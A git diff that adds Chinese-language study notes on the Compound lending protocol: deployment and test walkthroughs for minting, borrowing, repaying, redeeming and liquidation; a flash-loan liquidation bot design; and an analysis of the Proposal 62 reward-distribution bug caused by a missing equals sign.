+这里我们选择cUni来部署，涉及到的合约有：cUniDelegate，cUNI，Uni(测试用的ERC20token)
+
+| 模块       | 文件                      | 初始化参数 | 初始化步骤                           |
+| ---------- | ------------------------- | ---------- | ------------------------------------ |
+| cToken模块 | token.sol                 |            | 部署一个测试代币：Uni                |
+|            | cERC20Delegate.sol        | NA         | `_becomeImplementation()`            |
+|            | CErc20Delegator.sol(cUni) | 如下图所示 | `constructor(),_setImplementation()` |
+
+cToken模块部署完成后，系统存储的变化：
+
+```js
+cUni=>{
+//cTokenStorage
+bool internal _notEntered = true;
+string public name = Compound Uniswap;
+string public symbol = cUNI;
+uint8 public decimals = 8;
+address payable public admin = alice;
+address payable public pendingAdmin = address(0);
+ComptrollerInterface public comptroller = address(unitroller);
+InterestRateModel public interestRateModel = address(whitepaper);
+uint internal initialExchangeRateMantissa ;
+uint public reserveFactorMantissa = 250000000000000000;
+uint public accrualBlockNumber = 12927103;
+uint public borrowIndex = 1067279966577335160;
+uint public totalBorrows = 818650076167450321877884;
+uint public totalReserves = 38954225225705070309036;
+uint public totalSupply = 63681038419777549;
+mapping (address => uint) internal accountTokens;
+mapping (address => mapping (address => uint)) internal transferAllowances;
+struct BorrowSnapshot {
+    uint principal;
+    uint interestIndex;
+}
+mapping(address => BorrowSnapshot) internal accountBorrows;
+//cErc20storage
+address public underlying = address(Uni);
+//cDelegationStorage
+address public implementation = address(cDeleagator);
+}
+```
+
+对cUni的构造函数中传入数据进行分析如下：
+
+![image20210807115801643.png](https://img.learnblockchain.cn/attachments/2021/08/e9QuugCi612b379c659aa.png)
+
+故我们的初始化代码为：
+
+```js
+Token uni = new Token("Uniswap Test","Uni",18,uint(-1));
+cERC20Delegate cUniDelegate = new cERC20Delegate();
+bytes memory data = 0x00;
+CErc20Delegator cUni = new CErc20Delegator(address(uni), 
+                                           address(unitroller), 
+                                           address(whitepaper),
+                                           200000000000000000000000000,
+                                           "Compound Uniswap",
+                                           "cUNI",
+                                           alice,
+                                           address(cUniDelegate),
+                                           data
+                                          );
+cUni._setImplementation(address(cUniDelegate), false, data);
+cUni._setReserveFactor(250000000000000000);
+```
+
+#### 整理setup
+
+将上述4个模块的初始化代码整理如下：
+
+```js
+pragma solidity ^0.5.16;
+//cToken
+import "./CErc20Delegator.sol";
+import "./CErc20Delegate.sol";
+import "./Token.sol";
+//comptroller
+import "./Unitroller.sol";
+import "./ComptrollerG1.sol";
+//interestModel
+import "./WhitePaperInterestRateModel.sol";
+//priceOracle
+import "./SimplePriceOracle.sol";
+
+contract Setup {
+    Token public uni;
+    CErc20Delegator public cUni;
+    CErc20Delegate	public cUniDelegate;
+    Unitroller		public unitroller;
+    ComptrollerG1	public comptroller;
+    ComptrollerG1	public unitrollerProxy;
+    WhitePaperInterestRateModel	public whitePaper;
+    SimplePriceOracle	public priceOracle;
+    
+    constructor() public payable{
+        //先初始化priceOracle
+        priceOracle = new SimplePriceOracle();
+        //再初始化whitepaper
+        whitePaper = new WhitePaperInterestRateModel(50000000000000000,
+                                                     120000000000000000);
+        //再初始化comptroller
+        unitroller = new Unitroller();
+        comptroller = new ComptrollerG1();
+        unitrollerProxy = ComptrollerG1(address(unitroller));
+
+        unitroller._setPendingImplementation(address(comptroller));
+        comptroller._become(unitroller, priceOracle, 500000000000000000, 20, true);
+
+       	unitrollerProxy._setPriceOracle(priceOracle);
+        unitrollerProxy._setCloseFactor(500000000000000000);
+        unitrollerProxy._setMaxAssets(20);
+        unitrollerProxy._setLiquidationIncentive(1080000000000000000);
+        //最后初始化cToken
+        uni = new Standard_Token(uint(-1),"Uniswap Test",18,"Uni");
+        cUniDelegate = new CErc20Delegate();
+        bytes memory data = new bytes(0x00);
+        cUni = new CErc20Delegator(
+            					   address(uni), 
+                                   ComptrollerInterface(address(unitroller)), 
+                                   InterestRateModel(address(whitePaper)),
+                                   200000000000000000000000000,
+                                   "Compound Uniswap",
+                                   "cUNI",
+                                   8,
+                                   address(uint160(address(this))),
+                                   address(cUniDelegate),
+                                   data
+                                  );
+        cUni._setImplementation(address(cUniDelegate), false, data);
+        cUni._setReserveFactor(250000000000000000);
+        
+        //设置uni的价格
+        priceOracle.setUnderlyingPrice(CToken(address(cUni)), 1e18);
+        //支持的markets
+        unitrollerProxy._supportMarket(CToken(address(cUni)));
+        unitrollerProxy._setCollateralFactor(CToken(address(CUni)), 
+                                             600000000000000000);   
+        //将uni的代币全部转移给msg.sender,方便后续测试
+        uni.transfer(msg.sender, uni.balanceOf(address(this)));
+    }
+}
+```
+
+## 测试模块
+
+前面我们部署了comptroller合约，现在我们需要写一部分测试，看具体的合约逻辑执行。在最小可运行的compound合约中，我们部署了抵押token：uni，以及compound铸造出来的token：cUni. 并部署了cUni实际调用的逻辑cUniDelegate, 然后cUni的借贷模型中采用的是WhitepaperInterestRateModel，对应的审计合约是comptrollerG1.
+
+下面我们分别就compound中，最核心的用户交互逻辑来编写5个测试，简单验证逻辑可行性。
+
+### 测试1：存 mint
+
+用户向compound中存款的逻辑是：用户向compound中存入Uni代币, compound根据当前的汇率算出铸造的cUni代币数量，将对应的cUni代币转账给用户。
+
+![image20210810211227573.png](https://img.learnblockchain.cn/attachments/2021/08/1wQEztYv612b37abc8896.png)
+
+从上图可以分析得到：
+
+对于第一笔mint交易，即一个空的market中首笔铸币交易，其汇率exchange rate为初始的0.02, 再没有任何贷款的情况下，利用率u = 0, 存款利率也为0， 此时该账户的总流动性为：`cToken*collateral factor * price`
+
+则具体的测试流程如下：
+
+```js
+//alice 有所有的Uni代币
+uni.balanceOf(alice) = uint(-1)
+//alice 调用unitroller的enterMarkets方法, 因为在mintAllowed函数中，存在一个检查：require(markets[cToken].isListed), 故即使在mint中也需要先调用enterMarkets
+address[] memory addr = new address[](1);
+addr[0] = cUni;
+ComptrollerG1(address(unitroller)).enterMarkets(addr);
+//此时alice调用enterMarkets后，全局变量accountAssets[alice] = cToken[cUni], markets[cUni]={true, 60%，{alice:true},false}
+//alice 调用cUni的mint方法
+uni.approve(address(cUni),uint(-1));
+cUni.mint(7584007913129639935);
+7584007913129639935/200000000 
+cUni.balanceOf(alice) = 37920039565; 
+cUni.totalSupply() = 37920039565
+cUni.getCash() = 7584007913129639935
+cUni.supplyRatePerBlock() = 0 //此时没有借款，利用率为0
+ComptrollerG1(address(unitroller)).getAccountLiquidity(alice) = 4550404747877783960 = 7584007913129639935 * 0.6 //用户流动性：为UnderlyingToken * 0.6 * price
+```
+
+用户函数：enterMarkets
+
+用户的地址中对应用户的所有资产列表，当计算一个用户的所有流动性时。在借贷一种资产前，一个或者多种资产必须被提供给compound以用作抵押。在借贷发生前，任何借贷出的资产必须通过这种方式添加进入compound中。该函数的返回值是一个列表，即该用户的所有资产列表。
+
+```js
+function enterMarkets(address[] memory cTokens) public returns (uint[] memory) {
+//对于每一种cToken
+ 	uint len = cTokens.length;
+    uint[] memory result = new uint[](len);
+    for (uint i=0; i < len; i++) {
+    //首先检查用户是否已经添加过该种cTOken，如果已经添加过，则返回true,否则继续
+        CToken cToken = CToken(cTokens[i]);
+        Markets storage market = markets[address(cToken)];
+        if (!market.isListed) {
+            result[i] = uint(Error.MARKET_NOT_LISTED);
+            continue;
+        }
+   	//其次检查用户是否达到了最大种类的资产，如果达到了最大种类资产，则返回false，否则继续
+        if(accountAssets[msg.sender].length >= maxAssets) {
+            result[i] = uint(Error.TOO_MANY_ASSETS);
+            continue;
+        }
+    //检查该种cToken是否已经被列入，如果没有，则返回false，否则继续
+        if (market.accountMembership[msg.sender] == true) {
+            result[i] = uint(Error.NO_ERROR);
+            continue;
+        }
+    //检查预言机的价格不等于0
+    //将资产添加进入accountAssts中，并将用户的memberships[cToken][user]=true
+       	market.accountMembership[msg.sender] = true;
+        accountAssets[msg.sender].push(cToken);
+    //继续下一种资产，注意列表的大小会随着for循环而增加，故比较maxAssets时，必须用storage的数值来比较 
+        result[i] = uint(Error.NO_ERROR);
+    }
+	return result;
+    //返回累计的结果
+}
+```
+
+### 测试2：借 borrow
+
+借币逻辑是：用户在compound中有多种cToken资产，记录在accountAssets中。 然后用户向compound借出一定量的uni资产，同时增加用户的负债额度。compound在接受用户的借款请求时，首先会检查cToken有没有上市，再检查用户是否enterMarket，然后根据现在的预言机报价检查用户的账户流动性。
+
+整个borrow流程分为三步：
+
+#### 第一步：accuralInterest
+
+如图4所示。在accuralInterest步骤中，如Accural Interest Index图4, 从A4点移动到B4点，即：
+
+$$
+\frac{Index_B}{Index_A}=(1+borrowRate[A]\cdot \Delta Blocks)
+$$
+
+同时计算截至该block前的借贷额度所产生的利息，即
+
+$$
+totalBorrows =totalBorrowsPrev\cdot (1+borrowRate[A]\cdot \Delta blocks)
+$$
+
+然后将产生的利息的一部分存入总的reserves中，即
+
+$$
+totalReserves = totalReservesPrev + totalBorrowsPrev\cdot borrowRate[A]\cdot \Delta blocks \cdot reserveFactor
+$$
+
+此时系统中的totalBorrows并不包括即将借贷的部分，且market中的资金利用率也不变，借贷利率不变维持在A点
+
+#### 第二步：borrowAllowed
+
+如图6所示。在borrowAllowed步骤中，Comptroller除开验证cToken的合法性外，以及用户是否enterMarket，还会计算虚拟的账户流动性。首先计算该账户中所有的cToken对应的价值。计算方法是cToken的数量按照B点对应的汇率换算成对应的Underlying Token，然后乘以market中设置的collateral factor，然后乘以该underlying token的实时价格, 即
+
+$$
+exchageRate = \frac{cash+totalBorrows-totalReserves}{totalSupply}
+$$
+
+$$
+cToken\cdot exchangeRate_B\cdot collateralFactor \cdot price
+$$
+
+此处的exchangeRate计算中，cash和totalBorrows仅为B点前结息部分，不包含即将借出的borrowAmount部分。
+
+对于借贷部分，它首先拿到已经结息的借贷总额accountBorrows[B]，然后加上此次要借出的borrowAmount，然后乘以underlying token的实时价格, 即。
+
+$$
+(accountBorrows[A]\cdot \frac{Index_B}{Index_A}+borrowAmount) \cdot price
+$$
+
+用资产的价值减去债务的价值得到流动性，如果流动性为正，则允许借出。如果流动性为负，则不允许借出。
+
+#### 第三步：borrowFresh
+
+在borrowFresh这一步，主要是拿到截至此刻的accountBorrows[msg.sender]对应的已贷款（含利息）以及对用此刻的InterestRate[A]，
+
+$$
+accountBorrows[msg.sender]_B=accountBorrows[msg.sender]_A\cdot \frac{Index_B}{Index_A}+borrowAmount
+$$
+
+然后将新的贷款额和最新的InterestRate[B]更新到accountBalance中。并更新整个market的totalBorrows，即移动market的利用率从A点到B点，以及该利用率对应的借贷和存储利率。
+
+$$
+totalBorrows = totalBorrowsPrev + borrowAmount
+$$
+
+注意：在这一步中，要理解汇率exchange Rate的变化。简单讲，汇率会缓慢增加，增加的原因是每一个$\Delta Blocks$所对应产生的利息（不是利率）的一部分(1-reserveFactor)存入了market中，即$totalBorrows\cdot borrowRatePrev \cdot \Delta Blocks \cdot (1-reserveFactor)$​, 导致了underlyingToken的单调递增。如果单纯看汇率的公式：
+
+$$
+exchange Rate = \frac{cash+totalborrows-totalReserves}{totalSupply}
+$$
+
+很难以看出其为何单调递增。原因就在于totalBorrows在每一次调用accuralInterest后，都会复利计算，即将产生的利息加回到债务作为新的债务中。而产生的一部分利息会存入资金池的reserve中，剩余的一部分利息则会存入资金池里，用于给cToken持有人.
+
+![image20210810231949136.png](https://img.learnblockchain.cn/attachments/2021/08/1BO59d47612b37c4825c5.png)
+
+当借出一定数量的underlying tokens时，compound会首先计算下截止到当前block为止，此前的借贷额度所产生的利息，并将该利息的一部分存入reserve中，剩余的利息用于给cToken增值
+
+```js
+function borrowAllowed(address cToken, address borrower, uint borrowAmount) 
+	external 
+	returns (uint) 
+{
+	//检查cToken是否上架
+    Market memory market = markets[cToken];
+    require(market.isListed,"ComptrollerG1/borrowAllowed no listed");
+    //检查用户是否enterMarkets，通过cToken与用户的membership来检查
+    require(market.membership[borrower], "ComptrollerG1/borrowAllowed no membership");
+    //检查underlying Token的实时价格
+    require(priceOracle.getUnderlyingPrice(cToken) != 0, "Comptroller/borrowAllowed underlying price should not be 0");
+    //计算用户总资产的流动性
+    (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken),0,borrowAmount);
+    require(err == Error.NO_ERROR, "Comptroller/borrowAllowed getHyp falied");
+    //返回
+    require(shortfall == 0, "Comptroller/borrowAllowed insufficient liquidity");
+    return liquidity;
+}
+```
+
+测试流程：
+
+```js
+//alice 在compound中存入了7584007913129639935的uni代币，获得了37920039565的cUni代币
+//alice 向compound提出借款4584007913129639935的uni代币
+cUni.borrow(2584007913129639935);
+cUni.totalBorrows() = 2584007913129639935;
+cUni.getCash() == 5000000000000000000 = 7584007913129639935 - 2584007913129639935
+cUni.supplyRatePerBlock = 11046856810
+cUni.exchangeRateStored() = 200000000003418771090092875
+cUni.borrowRatePerBlock() = 43229717700
+利用率：utilization = cUni.supplyRatePerBlock / cUni.borrowRatePerBlock * (1- 0.25) = 
+cUni.borrowIndex() = 1000000095129377644
+cUni.accrualBlockNumber() =  4
+```
+
+### 测试3：还 repay
+
+repay操作是borrow的逆操作，可以通过`repayBorrow`偿还自己的贷款，`repayBorrowBehalf`代为偿还他人贷款，其具体逻辑是用户批准cToken合约使用其underlying token，先调用accuralInterest计算目前利率指数和对全部借贷额计息，然后调用comptroller.repayBorrowAllowed函数检查是否可以偿还，最后调用repayBorrowFresh偿还。
+
+#### accuralInterest
+
+在偿还贷款前，用户会首先调用accuralIntrest函数，其作用是计算最新的利率指数，并对全部借贷额计息。如图所示，利率指数会从B点移动到C点。注意利率指数与accountBorrows无关，且其总是呈现指数增加的形式。因为在利率指数的定义中，其只与borrowRatePrev, 即图中的borrowRate[B]点相关，即上一时刻的借贷利率相关，与当前账户的借贷数目无关。
+
+$$
+\frac{Index_C}{Index_B}=1+borrowRate[B]\cdot \Delta Blocks
+$$
+
+#### repayBorrowAllowed
+
+在comptroller的repayBorrowAllowed函数中只检查了cToken的合法性
+
+#### repayBorrowFresh
+
+即先拿到已结息的accountBorrows[msg.sender]参数，包含上一时刻的贷款本金及利率指数，并利用当前时刻的Index对其结息后减去repayBorrowAmount，即：
+
+$$
+accountBorrows_C=accountBorrows_B\cdot \frac{Index_c}{Index_B}-repayBorrowAmount
+$$
+
+然后从已结息的totalBorrows中扣除repayBorrowAmount。
+
+最后从msg.sender中转账对应的repayBorrowAmount Token到cToken中，此时的资金利用率从B点回落到C点，对应的贷款利率也从B点回落到C点。
+
+测试流程如下：
+
+```js
+uni.approve(cToken, repayBorrowAmount);
+cUni.repayBorrow(repayBorrowAmount);
+```
+
+![image20210811212049418.png](https://img.learnblockchain.cn/attachments/2021/08/LSNYgh1s612b37d897a7b.png)
+
+### 测试4：取 redeem
+
+redeem是mint的逆运算，但在实际逻辑中，增加了一个检查账户虚拟流动性的一项。用户可以调用`redeem`来偿还给定数量的cToken，或者调用`redeemUnderlying`来偿还某数量的cToken得到给定数量的underlying Token. redeem操作的步骤是用户批准cUni合约使用用户的cUni代币，然后调用accuralInterest函数，来计算最新的利率指数Index，并对totalBorrows计息。再然后是调用comptroller.redeemAllowed函数，计算用户的虚拟流动性，看是否用户有足够的流动性来取走token。最后是redeemFresh函数根据要取走的数值，更新accountBorrow中的数值和totalBorrows。
+
+#### redeemAllowed
+
+在redeemAllowed，Comptroller除开验证cToken的合法性外，以及用户是否enterMarket，还会计算虚拟的账户流动性。与borrowAllowed的唯一区别是在计算underlying Token的价值时，borrowAllowed是
+
+$$
+(accountBorrows[A]\cdot \frac{Index_B}{Index_A}+borrowAmount) \cdot price
+$$
+
+而redeemAllowed是
+
+$$
+(accountBorrows[A]\cdot \frac{Index_B}{Index_A}+redeemAmount) \cdot price
+$$
+
+反映在图像6中，表现就是图六中的underlying token价值曲线上移，使得账户的流动性降低。当发生redeem之后，market的totalSupply降低，反映在资金利用率上就是资金利用率曲线上翘，相同的借贷金额会占据更大的资金利用率，从而导致借贷利率变化。
+
+![image20210811222122455.png](https://img.learnblockchain.cn/attachments/2021/08/BBn5kree612b37ea2c742.png)
+
+### 测试5：清算 liquidity
+
+发生清算的一种典型情况是，用户enterMarkets了两个market，分别是cUni和cUSDT资金池。然后用户在cUni池中，存入Uni获得一定的cUni。用户凭借cUni在cUSDT资金池中借贷出USDT。然而，由于Uni的价格波动，导致Uni/USDT的价格突然下跌，此时用户放置在cUni池中的cUni的总价值小于了借出的USDT的价值，从而触发外部清算者进行清算。
+
+```js
+//alice 有所有的Uni代币
+uni.balanceOf(alice) = uint(-1)
+//alice 调用unitroller的enterMarkets方法, 因为在mintAllowed函数中，存在一个检查：require(markets[cToken].isListed), 故即使在mint中也需要先调用enterMarkets
+address[] memory addr = new address[](2);
+addr[0] = cUni;
+addr[1] = cUSDT;
+ComptrollerG1(address(unitroller)).enterMarkets(addr);
+//此时alice调用enterMarkets后，全局变量accountAssets[alice] = cToken[cUni], markets[cUni]={true, 60%，{alice:true},false}
+//alice 调用cUni的mint方法
+uni.approve(address(cUni),uint(-1));
+cUni.mint(7584007913129639935);
+cUSDT.borrow(1000000000);
+```
+
+![image20210811234407902.png](https://img.learnblockchain.cn/attachments/2021/08/vEXtXvsu612b37f89d5cd.png)
+
+清算过程整体分为两部分：第一部分是repayBorrower部分，代为偿还underlying token，另一部分是seize部分，即将被清算者的cToken及奖励金一起奖励给清算者。由于清算涉及到两种cToken,故在清算的第一步是分别调用两种cToken的accural Interest函数，计算各自最新的利率指数Index，并计算含息债务总额。然后调用comptroller.liquidateBorrowAllowed函数，计算被清算账户的流动性，如果被清算账户的流动性为正，则不允许清算，如果被清算账户的流动性为负，并验算单笔交易的清算量不能超过被清算账户的最大可清算量，则允许清算。具体清算时，要求清算者不能是被清算者自己，然后计算转给被清算者的cToken数量, 如下公式所示：
+
+$$
+seizeTokens = \frac  {repayAmount \times price_{borrowed}\ /\ price_{collateral}} {exchangeRate_{collateral}}\times liquidationIncentive
+$$
+
+在执行转账cToken到清算者之前，需调用comptroller.seizeAllowed函数，作用是验证调用seize函数的msg.sender和address(this)的comptroller保持一致。然后将清算者的账户余额加上seizeTokens，被清算者的余额减去seizeTokens。在完成seize部分后，函数跳转到repayBorrow部分，代为偿还underlying token。
+
+![pp.png](https://img.learnblockchain.cn/attachments/2021/08/71rGzP0C612b382c4e256.png)
diff --git "a/defi/Compound/contract/Compound\346\270\205\347\256\227\346\234\272\345\231\250\344\272\272\350\256\276\350\256\241.md" "b/defi/Compound/contract/Compound\346\270\205\347\256\227\346\234\272\345\231\250\344\272\272\350\256\276\350\256\241.md"
new file mode 100644
index 000000000..b5f590e79
--- /dev/null
+++ "b/defi/Compound/contract/Compound\346\270\205\347\256\227\346\234\272\345\231\250\344\272\272\350\256\276\350\256\241.md"
@@ -0,0 +1,71 @@
+# Compound清算机器人设计
+
+清算机器人的目的是为了帮助协议清算有风险的债务，同时获得协议奖励。
+
+清算的总体步骤包括（假设使用闪电贷）：
+
+- 发现待清算债务
+- 计算需清算债务金额
+- 闪电贷借出债务
+- 偿还债务获得抵押物cToken
+- 抵押物cToken赎回抵押物
+- 交易抵押物偿还闪电贷
+
+
+## 发现待清算债务
+
+这部分实际是比较有难度的，因为直接从合约里面无法读取所有借款人。我的方法是自己通过扫区块构建的event数据库里面获得的，也可以通过the graph这样的工具。
+
+从主合约里能获得所有cToken，通过筛选event，关联到cToken合约的Borrow事件可以找到借款人。
+
+得到借款人后，需要检查每个借款人的抵押率。可以参考合约中getAccountLiquidity的方法来计算抵押率。
+
+将抵押率较低的借款账户选出来，提高检查的频率，最好可以监控预言机交易，因为只有价格更新后，抵押率才会发生变化。
+
+## 计算待清算金额
+
+债务的抵押物可能是多种，清算时需要选取清算的金额和获得的抵押物，需要根据抵押物的比例，计算出清算债务的金额。
+
+也有一个比较简单粗暴的方法，就是多次尝试，如果失败（estimate失败）就将金额进行调整。
+
+## 闪电贷借出债务
+
+考虑到后面需要将抵押物交易回债务偿还闪电贷，所以一般选择uniswap的闪电贷，除了交易费，没有其他的费用。
+
+如果抵押物和债务直接的交易对深度不好，还需要选择更好的交易路径。
+
+具体闪电贷swap的逻辑不在这里展开，和清算无关
+
+## 偿还债务获得抵押物
+
+ETH和ERC20的方法有点差异，这里就简单说一下ERC20的方法。
+
+```
+err = CErc20Interface(params.cTokenBorrowAddr).liquidateBorrow(
+                params.borrower,
+                params.liquidateAmount,
+                params.cTokenCollateralAddr
+            );
+```
+
+调用债务cToken合约的liquidateBorrow方法，传入借款人，清算债务实际token的数量，希望获得的抵押物（cToken）
+
+## 抵押物cToken赎回抵押物
+
+```
+uint256 cTokenCollateralBalance = IERC20(params.cTokenCollateralAddr)
+            .balanceOf(address(this));
+
+err = CErc20Interface(params.cTokenCollateralAddr).redeem(
+            cTokenCollateralBalance
+        );
+```
+
+从抵押物cToken合约赎回抵押物
+
+## 交易抵押物偿还闪电贷
+
+在构建闪电贷的时候，从 A-B LP 从借出A可以还B，具体金额关系也是用乘积公示计算，这里不展开。
+
+将需要偿还的抵押物还给闪电贷LP，剩下的就是利润。
+
diff --git "a/defi/Compound/contract/[\344\272\213\344\273\266\345\210\206\346\236\220] 9\346\234\21029\346\227\245 Compound 62\345\217\267\346\217\220\346\241\210 \346\211\200\345\274\225\345\217\221\347\232\204\345\217\257\346\200\225Bug.md" "b/defi/Compound/contract/[\344\272\213\344\273\266\345\210\206\346\236\220] 9\346\234\21029\346\227\245 Compound 62\345\217\267\346\217\220\346\241\210 \346\211\200\345\274\225\345\217\221\347\232\204\345\217\257\346\200\225Bug.md"
new file mode 100644
index 000000000..d8ba038be
--- /dev/null
+++ "b/defi/Compound/contract/[\344\272\213\344\273\266\345\210\206\346\236\220] 9\346\234\21029\346\227\245 Compound 62\345\217\267\346\217\220\346\241\210 \346\211\200\345\274\225\345\217\221\347\232\204\345\217\257\346\200\225Bug.md"	
@@ -0,0 +1,268 @@
+## 概述
+
+9月29日 Compound的62号提案正式实施,`Unitroller`代理合约指向了新的逻辑合约`Comptroller`,
+该逻辑合约引入了巨大的奖励分发BUG,1亿4千万美金的CompoundToken受影响，
+光荣地冲到了Rekt排行榜第二的位置.
+
+![image](../images/Rekt上排名第二.png)
+
+事件发生后, Compound紧急提出了63号提案,试图暂停所有奖励发放, 大股东`A16z`秒投赞成票,而UC Berkeley的区块链实验室则投了反对票.
+
+
+![image](../images/A16z投了赞成票&Berkeley投了反对票.png)
+
+* 一开始我还以为这只是一家坐落在伯克利的投资机构，但是这个`edu`的根域名可太秀了
+```
+https://blockchain.berkeley.edu/
+```
+
+但即使这一提案通过也无法弥补过失,Compound的负责人承认一个提案最快落实也要一周的时间
+
+![image](../images/7.png)
+
+* 时间锁允许的最短时间为2天
+
+![image](../images/2days.png)
+
+Odaily星球日报的分析
+```
+https://www.chainnews.com/articles/720659876649.htm
+```
+![image](../images/7days.png)
+
+更可怕的是, 其负责人声称,仅`Comptroller`合约中的少量Token受影响, 大部分保存在`Reservori`合约中的Token是安全的
+
+![image](../images/280k.png)
+
+但事情并不是这样, 10月3日,有人通过调用`Reservori`合约的`drip()`函数,把20万 Token 转入了`Unitrooler`合约.
+
+* 10月3日 触发Reservoir的Drip() 把Comp打入`Unitrooler` 交易hash
+
+```
+0x02ba168f4d4fc313d095e9f0711447e8b96b26421539bd40be58243cd80a73cd
+```
+
+![image](../images/20万Comp从Reservoir被转入Unitroller.png)
+
+于是受损金额达到了上亿美金.
+
+Compound 负责人在社交媒体上请求用户返还异常发放的Token
+
+![image](../images/创始人请求返还.png)
+
+但返还的人并不多
+
+![image](../images/还的人并不多.png)
+
+
+## 代码分析
+
+62号提案所增加的功能为`_InitializeMarket()`,对那些并不能获得奖励的质押Token进行了初始化,这些Token包括
+
+* cTUSD、cMKR、cSUSHI、cYFI、cAAVE和cSAI
+
+![image](../images/_InitializeMarket.png)
+
+
+而在提案生效前曾与这些CToken合约交互过,并且手快的用户却可以领取巨额`Comp`奖励
+
+9月30日 一名用户利用该BUG领取了22995个Comp 
+
+* 交易hash
+```
+0xee318650ae8bcf83517e77e8654d40201990080fcb888087f737aea28e70bdb1
+```
+
+![image](../images/claimComp.png)
+
+该用户调用了`Comptroller`合约的`claimComp()`函数
+
+![image](../images/套娃.png)
+
+为了节省Gas和链上的存储空间,Dapp的奖励分发机制往往设计的比较抽象,难以理解
+这里用简化版`SNX`的`StakingRewards.sol`做演示
+
+```
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8;
+
+contract StakingRewards {
+    IERC20 public rewardsToken;
+    IERC20 public stakingToken;
+
+
+    // 奖励发放的速率
+    uint public rewardRate = 100;
+    
+    // 上一次的更新时间
+    uint public lastUpdateTime;
+
+    // 当前池子中每个质押Token所获得的奖励 
+    uint public rewardPerTokenStored;
+
+
+    // 保存用户上一次与合约交互式时每个质押Token所获得的奖励
+    mapping(address => uint) public userRewardPerTokenPaid;
+    
+    // 保存用户获得的奖励
+    mapping(address => uint) public rewards;
+
+
+    // 总供应量
+    uint private _totalSupply;
+
+    // 保存用户的质押的Token数量
+    mapping(address => uint) private _balances;
+
+    constructor(address _stakingToken, address _rewardsToken) {
+        
+        // 质押的Token
+        stakingToken = IERC20(_stakingToken);
+        
+        // 奖励的Token
+        rewardsToken = IERC20(_rewardsToken);
+    }
+    
+    // 计算当前池子中每个质押Token所获得的奖励
+    function rewardPerToken() public view returns (uint) {
+        
+        // 如果总供应量为0 则返回0
+        if (_totalSupply == 0) {
+            return 0;
+        }
+
+        // 当前池子中每个质押Token所获得的奖励 = ((当前时间 - 上次更新时间) * 发放速率 / 总供应量)        
+        //                                    + 
+        //                                   上一次池子与任意用户交互时每个质押Token所获得的奖励
+        return
+            rewardPerTokenStored +
+            (((block.timestamp - lastUpdateTime) * rewardRate * 1e18) / _totalSupply);
+    }
+
+    // 计算用户获得的奖励
+    function earned(address account) public view returns (uint) {
+
+        // 用户获得的奖励数量 = 用户的质押Token数量 
+        //                     * 
+        //                    (当前池子中每个质押Token所获得的奖励 - 用户上一次与池子交互时每个质押Token所获得的奖励)/10**18) 
+        //                     + 
+        //                    用户上一次与池子交互时获得的奖励
+        return
+            ((_balances[account] *
+                (rewardPerToken() - userRewardPerTokenPaid[account])) / 1e18) +
+            rewards[account];
+    }
+
+    // 更新奖励发放比例
+    modifier updateReward(address account) {
+
+        // 更新当前每个Token该获得的奖励
+        rewardPerTokenStored = rewardPerToken();
+
+        // 记录时间戳
+        lastUpdateTime = block.timestamp;
+
+        // 记录用户获得的奖励
+        rewards[account] = earned(account);
+
+        // 把当前池子中每个质押Token所获得的奖励 记录在用户的mapping中
+        userRewardPerTokenPaid[account] = rewardPerTokenStored;
+        _;
+    }
+
+    // 每次质押都会触发 updateReward() 
+    function stake(uint _amount) external updateReward(msg.sender) {
+        _totalSupply += _amount;
+        _balances[msg.sender] += _amount;
+        stakingToken.transferFrom(msg.sender, address(this), _amount);
+    }
+
+    // 每次提取质押Token 都会触发 updateReward()
+    function withdraw(uint _amount) external updateReward(msg.sender) {
+        _totalSupply -= _amount;
+        _balances[msg.sender] -= _amount;
+        stakingToken.transfer(msg.sender, _amount);
+    }
+
+    // 每次提取奖励 都会触发 updateReward()
+    function getReward() external updateReward(msg.sender) {
+
+        // 从mapping中获得用户得到的奖励 赋值给reward
+        uint reward = rewards[msg.sender];
+
+        // 把mapping中的用户奖励置零
+        rewards[msg.sender] = 0;
+
+        // 发放奖励
+        rewardsToken.transfer(msg.sender, reward);
+    }
+}
+
+// ERC20 接口
+interface IERC20 {
+    function totalSupply() external view returns (uint);
+
+    function balanceOf(address account) external view returns (uint);
+
+    function transfer(address recipient, uint amount) external returns (bool);
+
+    function allowance(address owner, address spender) external view returns (uint);
+
+    function approve(address spender, uint amount) external returns (bool);
+
+    function transferFrom(
+        address sender,
+        address recipient,
+        uint amount
+    ) external returns (bool);
+
+    event Transfer(address indexed from, address indexed to, uint value);
+    event Approval(address indexed owner, address indexed spender, uint value);
+}
+
+```
+
+重点在`earned()`函数
+
+![image](../images/SNX.png)
+
+
+```
+// 用户获得的奖励数量 = 用户的质押Token数量 
+//                     * 
+//                    (当前池子中每个质押Token所获得的奖励 - 用户上一次与池子交互时每个质押Token所获得的奖励)/10**18) 
+//                     + 
+//                    用户上一次与池子交互时获得的奖励
+```
+
+Compound的`distributeSupplierComp()`函数中的奖励计算原理与之类似,只是把上图中的计算拆成了3步
+
+![image](../images/Compound_Reward.png)
+
+在`_InitializeMarket()`函数中`supplyState.index`被初始化为1e36,也就是`当前池子中每个质押Token所获得的奖励`被初始化为1e36
+
+![image](../images/supplyState_index.png)
+![image](../images/1e36.png)
+
+所以`supplyIndex = supplyState.index = comInitialIndex = 1e36`
+
+由于` cTUSD、cMKR、cSUSHI、cYFI、cAAVE和cSAI` 不应该获得任何`Comp`奖励,所以开发者理论上希望`supplierIndex`也等于`1e36`
+这样 `deltaIndex = supplyIndex - supplierIndex = 1e36 - 1e36 = 0`,用户的奖励会被计算为0
+
+但在`if`语句中,少了一个等号`=`,由于`supplyIndex = comInitialIndex = 1e36`并不符合判断条件`supplyIndex > comInitialIndex`, `supplierIndex`没有被初始化为`1e36`,其值依然为`0`
+
+[Compund github 仓库中关于此处的提交修改](https://github.com/compound-finance/compound-protocol/commit/fcf067f6fa50a93ff9125f5f0abae0ae98d1e8b0#diff-8ef9294768226293f278525b40998f11db7ee32464279f47ca7ad35294bb6a3fL1217)
+
+![image](../images/if.png)
+
+所以最终的奖励计算变成了
+
+```
+// 用户获得的奖励数量 = 用户的质押Token数量 
+//                     * 
+//                    (当前池子中每个质押Token所获得的奖励 - 0) 
+//                     + 
+//                    用户上一次与池子交互时获得的奖励
+```
+
+最终导致了悲剧的发生
\ No newline at end of file
diff --git a/defi/Compound/images/1e36.png b/defi/Compound/images/1e36.png
new file mode 100644
index 000000000..046e9dd07
